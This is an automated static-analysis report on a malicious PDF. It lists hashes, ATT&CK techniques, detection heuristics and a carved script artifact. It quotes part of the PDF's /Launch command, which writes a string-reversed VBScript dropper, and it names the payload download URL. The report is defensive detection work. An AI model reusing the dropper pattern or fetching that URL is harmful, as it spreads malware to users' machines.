Malicious PDF — malware analysis report

Static analysis result for SHA-256 56efc0ef3db0ab59…

MALICIOUS

PDF

785 B
MD5: 34135bacd4494e52428b706ba220a993 SHA-1: 86b88381ddb31df551ee3a2f7710efb92303e3a8 SHA-256: 56efc0ef3db0ab59d21387cdf1d3f857cb5392bb2a420281e69a0f16c2dcdce1
120 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The PDF file contains a launch action that executes a command-line command. This command constructs and saves a VBScript file named 'm.vbs' to the user's temporary directory. The VBScript is likely designed to download and execute a second-stage payload from the embedded URL http://dlses52.co.cc/x/img.php?d=1. The script's construction is partially obfuscated using string reversal.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://dlses52.co.cc/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000067.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5		 pdf-embedded-script PDF decompressed stream script payload at offset 0x67 63 bytes

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